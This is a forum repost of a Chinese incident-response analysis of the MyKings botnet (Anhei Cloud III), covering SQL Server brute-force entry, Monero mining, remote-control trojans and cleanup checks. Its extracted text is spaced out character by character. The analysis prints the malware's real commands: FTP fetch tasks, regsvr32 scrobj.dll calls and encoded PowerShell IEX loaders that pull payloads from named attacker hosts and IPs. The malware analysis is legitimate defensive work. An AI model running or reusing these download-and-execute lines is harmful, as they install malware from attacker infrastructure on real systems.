搜索

[13744] 2019-02-10_暗云IIIv3.0等多个病毒家族结伴来袭实战分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-02-10_暗云IIIv3.0等多个病毒家族结伴来袭实战分析 暗 云 I I I   v 3 . 0 等 多 个 病 毒 家 族 结 伴 来 袭 实 战 分 析 x u c h e n 1 6   F r e e B u f   2 0 1 9 - 0 2 - 1 0 知 识 点 知 识 点 M y K i n g s M y K i n g s 是 一 个 大 规 模 多 重 僵 尸 网 络 ， 并 安 装 门 罗 币 挖 矿 机 ， 利 用 服 务 器 资 源 挖 矿 。 概 述 概 述 挖 矿 攻 挖 矿 攻 击 名 称 击 名 称 M y K i n g s 涉 及 平 涉 及 平 台 台 W i n d o w s 平 台 相 关 恶 相 关 恶 意 代 码 意 代 码 家 族 家 族 D D o S 、 P r o x y 、 R A T 、 M i r a i 攻 击 入 攻 击 入 口 口 通 过 扫 描 开 放 端 口 ， 利 用 漏 洞 和 弱 口 令 进 行 入 侵 相 关 漏 相 关 漏 洞 及 编 洞 及 编 号 号 永 恒 之 蓝 描 述 简 描 述 简 介 介 M y K i n g s   是 一 个 由 多 个 子 僵 尸 网 络 构 成 的 多 重 僵 尸 网 络 ， 2 0 1 7   年   4   月 底 以 来 ， 该 僵 尸 网 络 一 直 积 极 地 扫 描 互 联 网 上   1 4 3 3   及 其 他 多 个 端 口 ， 并 在 渗 透 进 入 受 害 者 主 机 后 传 播 包 括   D D o S 、 P r o x y 、 R A T 、 M i n e r   在 内 的 多 种 不 同 用 途 的 恶 意 代 码 。 1 . 攻 击 过 程 逻 辑 ： 攻 击 过 程 逻 辑 ： 图 - 攻 击 过 程
图 - P a y l o a d 执 行 过 程 2 . 病 毒 各 部 分 功 能 ： 病 毒 各 部 分 功 能 ： 文 件 名 文 件 名 功 能 功 能 c . b a t 关 闭 端 口 i t e m . d a t 远 控 木 马 主 体 D L L J 脚 本 ( 硬 编 码 在 P a y l o a d 中 ) 结 束 指 定 进 程 , 删 除 文 件 , 运 行 i t e m . d a t c m d 批 处 理 脚 本 ( P a y l o a d 联 网 获 取 到 内 存 中 ) 结 束 指 定 进 程 ， 删 除 文 件 ， 删 除 指 定 账 户 运 行 c . b a t   、 i t e m . d a t 表 - 各 部 分 功 能 排 查 思 路 排 查 思 路 1 . 攻 击 者 利 用 攻 击 者 利 用 S Q L   S e r v e r   弱 密 码 进 行 暴 力 入 侵 方 式 入 侵 弱 密 码 进 行 暴 力 入 侵 方 式 入 侵 W i n d o w s 系 统 后 ， 会 植 入 木 马 下 载 器 系 统 后 ， 会 植 入 木 马 下 载 器 c o n h o s t . e x e ( 原 始 文 件 名 原 始 文 件 名 u p s . e x e ) ， 该 程 序 启 动 后 会 首 先 访 问 恶 意 链 接 ， 该 程 序 启 动 后 会 首 先 访 问 恶 意 链 接 h t t p : / / o k . m y m y x m r a . r u 以 获 取 第 二 阶 段 恶 意 代 码 的 下 载 地 址 。 以 获 取 第 二 阶 段 恶 意 代 码 的 下 载 地 址 。   根 据 C : / W i n d o w s / S y s t e m 3 2 / b . t x t 产 生 的 老 的 连 接 状 态 日 志 发 现 有 大 量 外 发 扫 描 1 4 3 3 端 口 判 断 可 能 是 通 过 S Q L   S e r v e r 弱 密 码 进 来 的 。
C : / W i n d o w s / T e m p / c o n h o s t . e x e 源 始 文 件 名 u p s . e x e ： 2 . 查 找 异 常 进 程 查 找 异 常 进 程
3 . 查 找 异 常 服 务 查 找 异 常 服 务 服 务 名 x W i n W p d S r v 映 像 路 径 C : / W i n d o w s / s y s t e m / m s i n f o . e x e   - s   - s y n   1 0 0 0 扫 描 目 标 I P 地 址 ： 生 成 机 制 越 来 越 复 杂 早 期 版 本 中 ，   m s i n f o . e x e 用 来 扫 描 的 目 标 I P 只 有 两 种 ： 从 云 端 配 置 文 件 w p d . d a t 获 取 、 在 本 地 根 据 外 网 出 口 I P 随 机 生 成 ； 最 新 样 本 中 ， 增 加 了 一 种 更 复 杂 的 本 地 随 机 生 成 算 法 ， 并 且 会 避 开 一 批 保 留 地 址 段 。 核 心 木 马 m s i n f o . e x e 用 到 的 云 端 配 置 文 件 w p d . d a t   ， 是 一 个 加 密 的 X M L 文 档 ， 其 中 指 定 了 暴 破 成 功 后 用 到 来 下 载 M i r a i 样 本 的 C 2 地 址 、 需 要 扫 描 的 网 络 服 务 端 口 、 暴 破 各 个 端 口 所 需 的 口 令 、 入 侵 各 个 网 络 服 务 时 执 行 的 部 分 命 令 以 及 需 要 扫 描 的 目 标 I P 范 围 等 配 置 。 这 些 配 置 都 可 以 根 据 后 继 僵 尸 网 络 的 要 求 灵 活 更 改 。 模 块 化 编 程 架 构 的 m s i n f o . e x e ： 主 要 是 其 C r a c k 模 块 中 通 过 继 承 一 个 基 类 T a s k C r a c k ， 实 现 其 中 定 义 好 的 一 组 连 接 、 暴 破 、 执 行 命 令 等 功 能 的 函 数 接 口 即 可 定 义 一 个 T a s k C r a c k _ X X X 子 类 ， 继 而 实 现 针 对 一 个 新 的 网 络 服 务 的 攻 击 模 块 C r a c k 模 块 与 w p d . d a t 配 置 文 件 中 定 义 的 待 扫 描 网 络 服 务 端 口 相 对 应 ， 可 以 灵 活 更 改 针 对 不 同 网 络 服 务 的 C r a c k 功 能 。 其 他 辅 助 云 端 配 置 文 件 ： m s i n f o . e x e 用 到 的 另 外 一 个 辅 助 木 马 u p s . e x e   ， 会 涉 及 其 它 云 端 配 置 文 件 。 这 些 也 都 可 以 灵 活 配 置 ， 方 便 攻 击 者 控 制 在 下 一 阶 段 需 要 下 载 什 么 样 本 、 执 行 什 么 样 的 命 令 。 4 . 查 找 异 常 计 划 任 务 查 找 异 常 计 划 任 务                                                                                   |   名 称   |   启 动 程 序     |   触 发 器   |   |   - - -   |   - - -   |   - - -   |   |   m y 1   |   c : / w i n d o w s / s y s t e m / m y 1 . b a t     |   每 天 1 2 点 执 行   |   |   M y s a   |   c m d . e x e   > / c e c h o   o p e n   f t p . f t p 0 9 3 0 . h o s t > s & e c h o   t e s t > > s & e c h o   1 4 3 3 > > s & e c h o   b i n a r y > > s & e c h o   g e t   a . e x e c : w i n d o w s u p d a t e . e x e > > s & e c h o   b y e     |   系 统 启 动 执 行   |   |   M y s a 1   |   r u n d l l 3 2 . e x e   c : w i n d o w s d e b u g i t e m . d a t , S e r v i c e M a i n a a a a   |   系 统 启 动 执 行   |   |   M y s a 2   |   c m d . e x e   / c   e c h o   o p e n   f t p . f t p 0 9 3 0 . h o s t > p & e c h o   t e s t > > p & e c h o   1 4 3 3 > > p & e c h o   g e t   s . d a t c : w i n d o w s d e b u g i t e m . d a t > > p & e c h o   b y e > > p & f t p   - s : p   |   系 统 启 动 执 行   |   |   o k   | r u n d l l 3 2 . e x e   c : w i n d o w s d e b u g o k . d a t , S e r v i c e M a i n   a a a a   |   系 统 启 动 执 行   | 加 载 远 控 木 马 ：
5 . 查 找 异 常 启 动 项 查 找 异 常 启 动 项 6 . 查 找 异 常 防 火 墙 和 本 地 安 全 策 略 查 找 异 常 防 火 墙 和 本 地 安 全 策 略         木 马 文 件 配 置 防 火 墙 策 略 ， 关 闭 1 3 5 、 1 3 7 、 1 3 8 、 1 3 9 、 4 4 5 端 口 ， 防 止 再 被 其 他 病 毒 感 染 。
7 . 查 找 异 常 目 录 查 找 异 常 目 录 & 文 件 文 件 C : / W i n d o w s / d e b u g 目 录 ， 门 罗 币 挖 矿 相 关 的 模 块 和 配 置 文 件 ： 门 罗 币 配 置 c o n f i g . j s o n 矿 池 u r l ： " p o o l . m i n e x m r . c o m : 5 5 5 5 " 钱 包 地 址 ： p a s s ： " x " C : / W i n d o w s / H e l p 目 录 ：   4 8 6 2 m T L m C o 9 L G q n 3 X U r V 9 x a E f z g N P i d 7 A M 2 6 X p e W W m 4 n f E t P f V 9 E b 1 k 2 x Y a Y W R y M 6 L Y E T J k F 3 R C q F 5 J X 5 d Q W E i 3 h N N E 3 6 C 6
C : / W i n d o w s / s y s t e m 目 录 。 m s i n f o . e x e 病 毒 母 体 通 过 注 册 服 务 & 写 入 恶 意 代 码 到 数 据 库 的 手 段 ， 实 现 持 久 化 攻 击 ， 会 连 接 云 端 ， 自 动 更 新 病 毒 ， 实 时 下 载 最 新 的 攻 击 模 块 。   C : / W i n d o w s / s y s t e m 3 2 系 统 命 令 目 录 。 b . t x t   端 口 连 接 状 态 ； a . e x e 主 要 功 能 是 实 现 清 除 可 疑 木 马 进 程 和 启 动 D i s k W r i t e r 远 控 木 马 i t e m . d a t ； c s r s e . e x e 原 始 文 件 u p s . e x e ： C : / W i n d o w s / T e m p 临 时 文 件 目 录 ， 被 注 入 的 病 毒 代 码 执 行 恶 意 逻 辑 主 要 参 照 从 C & C 服 务 器 请 求 到 的 配 置 文 件 ， 该 文 件 释 放 到 本 地 后 路 径 为 ： % S y s t e m R o o t % T e m p n t u s e r . d a t 。 该 文 件 被 异 或 0 x 9 5 加 密 过 ， 在 使 用 该 文 件 时 会 对 文 件 进 行 解 密 。
解 密 后 的 n t u s e r . d a t 配 置 内 容 ， 如 下 图 所 示 ： n t u s e r . d a t 配 置 内 容 总 体 分 为 两 个 部 分 ： m a i n 和 u p d a t e 。 m a i n 部 分 中 的 所 有 i p 和 网 址 用 来 下 载 后 门 病 毒 相 关 配 置 ， u p d a t e 部 分 中 的 i p 和 网 址 用 来 更 新 n t u s e r . d a t 配 置 数 据 ， 请 求 到 的 相 关 配 置 信 息 至 今 依 然 在 持 续 更 新 。 下 载 后 门 病 毒 配 置 信 息 c l o u d . t x t 的 代 码 逻 辑 。 下 载 后 门 病 毒 配 置 信 息 下 载 后 门 病 毒 配 置 信 息 请 求 到 的 配 置 信 息 中 ， 除 后 门 病 毒 下 载 地 址 （ e x e 键 名 对 应 数 据 ） 外 ， 还 有 名 为 u r l 的 配 置 项 ， 该 功 能 开 启 后 会 h o o k C r e a t e P r o c e s s W 劫 持 浏 览 器 启 动 参 数 ， 但 现 阶 段 该 功 能 尚 未 被 开 启 。 配 置 信 息 ， 如 下 图 所 示 ： 配 置 信 息 配 置 信 息
恶 意 代 码 会 通 过 上 图 中 的 下 载 地 址 ， 将 后 门 病 毒 下 载 到 % S y s t e m R o o t % T e m p c o n h o s t . e x e 目 录 进 行 执 行 。 下 载 执 行 远 程 后 门 病 毒 相 关 逻 辑 。 下 载 执 行 后 门 病 毒 下 载 执 行 后 门 病 毒 该 病 毒 运 行 后 ， 首 先 会 释 放 存 放 有 C & C 服 务 器 列 表 的 文 件 （ x p . d a t ） 至 C : P r o g r a m   F i l e s C o m m o n   F i l e s 目 录 中 ， 之 后 向 C & C 服 务 器 列 表 中 的 服 务 器 地 址 请 求 x p x m r . d a t 文 件 ， 用 于 更 新 C & C 服 务 器 列 表 。 请 求 到 的 x p x m r . d a t 文 件 数 据 使 用 R S A 算 法 进 行 过 加 密 ， 进 行 解 密 后 会 重 新 写 入 到 x p x m r . d a t 文 件 中 ， 该 文 件 为 明 文 存 放 。 更 新 更 新 C & C 服 务 器 列 表 服 务 器 列 表 病 毒 在 运 行 中 会 向 C & C 服 务 器 请 求 获 取 最 新 病 毒 版 本 号 ， 当 检 测 到 存 在 新 版 本 时 ， 则 会 通 过 C & C 服 务 器 下 载 执 行 最 新 版 本 的 病 毒 程 序 。 当 后 门 病 毒 发 现 当 前 系 统 为 6 4 位 系 统 时 ， 还 会 向 C & C 服 务 器 请 求 6 4 位 版 本 的 后 门 病 毒 到 本 地 进 行 执 行 。 请 求 请 求 6 4 位 版 本 病 毒 位 版 本 病 毒 随 后 ， 病 毒 会 使 用 地 址 列 表 中 的 C & C 服 务 器 地 址 下 载 挖 矿 所 需 的 病 毒 组 件 ， 暂 时 我 们 发 现 会 被 病 毒 下 载 至 本 地 病 毒 仅 具 有 挖 矿 功 能 ， 但 我 们 不 排 除 其 将 来 会 下 载 其 他 病 毒 模 块 的 可 能 性 。 病 毒 在 下 载 文 件 后 ， 会 对 病 毒 组 件 进 行 m d 5 校 验 ， 病 毒 组 件 的 m d 5 值 会 参 考 C & C 服 务 器 中 的 m d 5 . t x t 文 件 内 容 。 在 该 目 录 下 有 个 以 本 机 i p 命 名 的 t x t 文 件 内 容 如 下   ：                   备 注 备 注 加 载 远 控 木 马 ， 6 4 b a s e 编 码 解 码 后 得 到 ： 利 用 r e g s v r 3 2 执 行 远 程 脚 本 命 令     / u   / s   / i :   h t t p : / / w m i . 1 2 1 7 b y e . h o s t : 8 8 8 8 / 1 . t x t   s c r o b j . d l l   该 t x t 文 件 为 一 个 远 程 j s 脚 本 ， j s 脚 本 里 的 字 符 都 被 用 1 6 进 制 进 行 替 换 ， 解 密 后 的 j s 脚 本 ， 其 主 要 功 能 是 下 载 木 马 文 件 并 执 行 。 解 密 后 的 远 程 脚 本 ， U p s n e w 2 释 放 远 控 木 马 i t e m . d a t 以 及 c 3 . b a t 脚 本 。 B a c k d o o r / V o l u m i n e r - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                   路 径 : C : W i n d o w s T e m p c o n h o s t . e x e 命 令 行 : C : W i n d o w s T e m p c o n h o s t . e x e                                             路 径 : C : W i n d o w s S y s W O W 6 4 c m d . e x e 命 令 行 : c m d   / c   " " C : w i n d o w s w e b c 3 . b a t "   " 路 径 : C : W i n d o w s S y s W O W 6 4 c a c l s . e x e 命 令 行 : c a c l s     c : w i n d o w s t e m p d o c v 8 . e x e / e   / d   s y s t e m 路 径 : C : W i n d o w s s y s t e m 3 2 c s r s e . e x e 命 令 行 : " C : W i n d o w s s y s t e m 3 2 c s r s e . e x e "   路 径 : c : w i n d o w s s y s t e m m s i n f o . e x e 命 令 行 : c : w i n d o w s s y s t e m m s i n f o . e x e   - s   - s y n   1 0 0 0 路 径 : c : w i n d o w s d e b u g l s m o . e x e 命 令 行 : c : w i n d o w s d e b u g l s m o . e x e   路 径 : C : W i n d o w s S y s t e m 3 2 c m d . e x e 命 令 行 : " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   / C   p i n g   1 2 7 . 0 . 0 . 1   - n   6   &   t a s k k i l l   - f   / i m   l s m o s e . e x e   &   c : w i n d o w s d e b u g l s m o s e . e x e 路 径 : c : w i n d o w s d e b u g l s m o s e . e x e 命 令 行 : c : w i n d o w s d e b u g l s m o s e . e x e 路 径 : C : W i n d o w s s y s t e m 3 2 c m d . e x e 命 令 行 : c m d   / c   p o w e r s h e l l . e x e   - n o p   - e n c   J A B 3 A G M A P Q B O A G U A d w A t A E 8 A Y g B q A G U A Y w B 0 A C A A U w B 5 A H M A d A B l A G 0 A L g B O A G U A d A A u A F c A Z Q B i A E M A b A B p A G U A b g B 0 A D s A J A B 3 A G M A L g B E A G 8 A d w B u A G w A b w B h A G Q A U w B 0 A H I A a Q B u A G c A K A A i A G g A d A B 0 A H A A O g A v A C 8 A d w B t A G k A L g A x A D I A M Q A 3 A G I A e Q B l A C 4 A a A B v A H M A d A A 6 A D g A O A A 4 A D g A L w A y A C 4 A d A B 4 A H Q A I g A p A C 4 A d A B y A G k A b Q A o A C k A I A A t A H M A c A B s A G k A d A A g A C I A W w B c A H I A X A B u A F 0 A K w A i A H w A J Q B 7 A C Q A b g A 9 A C Q A X w A u A H M A c A B s A G k A d A A o A C I A L w A i A C k A W w A t A D E A X Q A 7 A C Q A d w B j A C 4 A R A B v A H c A b g B s A G 8 A Y Q B k A E Y A a Q B s A G U A K A A k A F 8 A L A A g A C Q A b g A p A D s A c w B 0 A G E A c g B 0 A C A A J A B u A D s A f Q A = & p o w e r s h e l l . e x e         I E X   ( N e w - O b j e c t   s y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / w m i . 1 2 1 7 b y e . h o s t : 8 8 8 8 / S . p s 1 ' ) & p o w e r s h e l l . e x e   I E X   ( N e w - O b j e c t   s y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 7 3 . 2 0 8 . 1 3 9 . 1 7 0 / s . t x t ' ) & p o w e r s h e l l . e x e         I E X   ( N e w - O b j e c t   s y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 3 5 . 1 8 2 . 1 7 1 . 1 3 7 / s . j p g ' ) | | r e g s v r 3 2   / u   / s   / i : h t t p : / / w m i . 1 2 1 7 b y e . h o s t : 8 8 8 8 / 1 . t x t   s c r o b j . d l l & r e g s v r 3 2         / u   / s   / i : h t t p : / / 1 7 3 . 2 0 8 . 1 3 9 . 1 7 0 / 2 . t x t   s c r o b j . d l l & r e g s v r 3 2   / u   / s   / i : h t t p : / / 3 5 . 1 8 2 . 1 7 1 . 1 3 7 / 3 . t x t   s c r o b j . d l l 路 径 : C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e 命 令 行 : p o w e r s h e l l . e x e     I E X   ( N e w - O b j e c t   s y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 7 3 . 2 0 8 . 1 3 9 . 1 7 0 / s . t x t ' ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   $   w   c   =   N   e   w   -   O   b   j   e   c   t       S   y   s   t   e   m   .   N   e   t   .   W   e   b   C   l   i   e   n   t   ;   $   w   c   .   D   o   w   n   l   o   a   d   S   t   r   i   n   g   (   "   h   t   t   p   :   /   /   w   m   i   .   1   2   1   7   b   y   e   .   h   o   s   t   :   8   8   8   8   /   2   .   t   x   t   "   )   .   t   r   i   m   (   )       -   s   p   l   i   t       "   [     r           n   ]   +   "   |   %   {   $   n   =   $   _   .   s   p   l   i   t   (   "   /   "   )   [   -   1   ]   ;   $   w   c   .   D   o   w   n   l   o   a   d   F   i   l   e   (   $   _   ,       $   n   )   ;   s   t   a   r   t       $   n   ;   }    
i e 临 时 文 件 目 录 下 u p s n e w 2 [ 1 ] . e x e ， 原 始 文 件 名 u p s . e x e ： t x t 最 下 面 是 用 m i m i k a t z 获 得 的 系 统 明 文 密 码 ： C : W i n d o w s S y s t e m 3 2 c o n f i g s y s t e m p r o f i l e A p p D a t a L o c a l M i c r o s o f t W i n d o w s T e m p o r a r y   I n t e r n e t   F i l e s C o n t e n t . I E 5 D V 6 W 3 1 3 X      
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理